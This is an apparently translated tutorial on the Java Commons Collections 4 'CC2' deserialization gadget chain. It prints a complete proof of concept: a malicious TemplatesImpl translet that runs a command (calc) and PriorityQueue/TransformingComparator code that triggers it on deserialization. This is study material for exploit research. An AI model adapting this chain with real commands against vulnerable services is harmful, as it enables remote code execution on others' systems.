00x1 environment construction
--jdk 1.8
--Adding cc library dependency in pom file with maven
Add the following:
<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </dependencies>
00x2 pre knowledge
What is the Java cc chain? cc refers to the common collections dependency library. It adds many powerful data structure types and implements various collection tool classes.
It is widely used in Java application development.
PriorityQueue
PriorityQueue priority queue is a special queue based on priority heap. It defines "priority" for each element. When taking out data, it will be taken according to the priority.
The default priority queue sorts elements according to their natural order.
If you want to put the elements in the PriorityQueue, you must implement the Comparable interface. The PriorityQueue will determine the priority of the queue according to the sorting order of the elements.
If the Comparable interface is not implemented, PriorityQueue also allows us to provide a Comparator object to determine the order of two elements.
You can see that it inherits the AbstractQueue abstract class and implements the Serializable interface, which shows that it supports deserialization
Let's look at the readObject() method it overrides
You can see that the above method will call the instantiated object s of ObjectInputStream to deserialize the data in the queue
Finally, heapify(); To sort the data, follow up on the heapify () method
This method calls the siftDown() method
When the comparator property is not empty, call the {siftDownUsingComparator() method
If it is empty, as mentioned earlier, a Comparable comparator will be created and the compare() method will be called to sort
In this way, the priority queue after deserialization has order.
TransformingComparator
This is the key point to trigger the vulnerability. It combines the Transformer execution point with the PriorityQueue trigger point.
Decorate a Comparator (Comparator) with a Transformer. Generally speaking, the value is first converted to the Transformer and then passed to the Comparator for comparison.
Initialize and configure Transformer and Comparator
The compare() method will first use this transformer. Transform (obj1) method to convert two values to be compared
Then call the compare() method to compare.
TemplatesImpl
Properties of TemplatesImpl_ Bytecodes} stores class bytecodes
Some methods of the TemplatesImpl class can use the class bytecode to instantiate this class. The parent class of this class must be AbstractTranslet.
Therefore, the malicious class TestTemplateslmpl constructed by us writes that this class extend s AbstractTranslet:
Write malicious code in the nonparametric constructor or static code block of this class, and then instantiate this class by TemplatesImpl to trigger malicious code.
00x3 vulnerability analysis
Let's take a look at the constructed malicious class TestTemplatesImpl:
package cc2; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class TestTemplatesImpl extends AbstractTranslet { public TestTemplatesImpl() { super(); try { Runtime.getRuntime().exec("calc"); }catch (Exception e){ e.printStackTrace(); } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
The TestTemplatesImpl() method here will execute the pop-up calculator command
Core code poc, this is a poc found on the Internet
package cc2; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.PriorityQueue; public class Poc { public static void main(String[] args) throws Exception { //Construct malicious class TestTemplatesImpl And convert to bytecode ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("cc2.TestTemplatesImpl"); byte[] bytes = ctClass.toBytecode(); System.out.println(bytes); //Reflection creation TemplatesImpl Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{}); Object TemplatesImpl_instance = constructor.newInstance(); //Set the bytecode of the malicious class to_bytecodes attribute Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes}); //set a property_name Is a malicious class name Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(TemplatesImpl_instance, "TestTemplatesImpl"); //Construction utilization chain InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); TransformingComparator transformer_comparator = new TransformingComparator(transformer); //Trigger vulnerability PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); //set up comparator attribute Field field = queue.getClass().getDeclaredField("comparator"); field.setAccessible(true); field.set(queue, transformer_comparator); //set up queue attribute field = queue.getClass().getDeclaredField("queue"); field.setAccessible(true); //Queue requires at least 2 elements Object[] objects = new Object[]{TemplatesImpl_instance, TemplatesImpl_instance}; field.set(queue, objects); //serialize ---> Deserialization ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object object = ois.readObject(); } }
To analyze step by step
Here, javassist is used to dynamically construct the bytecode of our malicious class. Of course, it can also be directly compiled into a class file and stored with binary bytecode
Previous learning fastjson deserialization TenplatesImpl has been analyzed in detail_ bytecodes property and defineTransletClasses() method.
Here is the bytecode of the malicious class generated by ClassPool and CtClass
We create a TemplatesImpl class by reflection. There's nothing to say. Reflection obtains TemplatesImpl_ The instance object is instantiated as the TemplatesImpl class
Get through Field_ bytecodes property, call the getDeclaredField() method here, and set setAccessible(true); You can get all properties, including private
Get_ After the bytecodes attribute, assign the malicious class bytecode bytes we generated to set
bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});
It has been analyzed before that if you want to call the definetransletclasses () method, you must ensure that_ name is not empty. getTransletInstance() uses defineTransletClasses() to load bytecode generation classes
And the following statement instantiates the malicious class
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
getTransletInstance() will call defineTransletClasses(), and will continue to call defineClass of ClassLoader to load our bytecode (which has been loaded by the underlying class of ClassLoader) to generate malicious classes
loader.defineClass(_bytecodes[i]);
So the next poc is set_ Name is our malicious class name. Make sure it is not empty
Through ALT+F7 # gettranslteinstance() method, it is found that there is a newTransformerImpl() method in the TemplatesImpl class. The gettranslteinstance() method is called successfully
So let's take a look at the newTransformerImpl() method
It will return a transformer. How to call this method?
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
It can be found on the Internet: there is a transform() method in the InvokerTransformer class, which will execute a method of the class object according to the three member properties of iMethodName, iParamTypes and iArgs
And these three properties are passed in according to the construction of the InvokerTransformer class
The newTransformerImpl() method is then called through the transform() method of the InvokerTransformer class.
Therefore, we need to implement the classes of Transform and Serializable interfaces. This is the TransformingComparator class mentioned in the previous knowledge. It is satisfied.
That is, the method name newTransformerImpl() in poc is the method we want to call
Get the controllable attribute transformer through the InvokerTransformer class
Pass InvokerTransformer to transforming comparator
Now that the chain is built, we need to find a way to trigger it
The method required here is to implement the serializable interface, that is, rewrite the readObject() method, and use the Comparator comparator.
Then it is the PriorityQueue set we mentioned earlier!!
The comparator attribute of the queue can be specified as the comparator of transformangcomparator, so we can call the compare() method of transformangcomparator
And set the comparison object as the object of the TemplatesImpl class
Therefore, we only need to add two TemplatesImpl objects to the PriorityQueue collection as collection elements to trigger the previously constructed utilization chain.
First instantiate a PrioritQueue object. We can control the comparator attribute and fill in two elements
Then set the properties of the comparator, get the corresponding properties through the Field, and pass in the comparator and queue properties
Note that since the comparison queue requires at least two elements, we pass in two TemplatesImpl_instance object
Next is the familiar serialization and deserialization, that is, simulating the data transmission stream on the side
Then we successfully executed our malicious class, resulting in rce
00x4 summary
Finally, it took an hour to reorganize a complete cc2 chain call process, which is in reverse order. Indeed, this analysis is more convoluted
reference resources:
https://blog.csdn.net/qq_35733751/article/details/118890261
https://su18.org/post/ysoserial-su18-2/#commonscollections2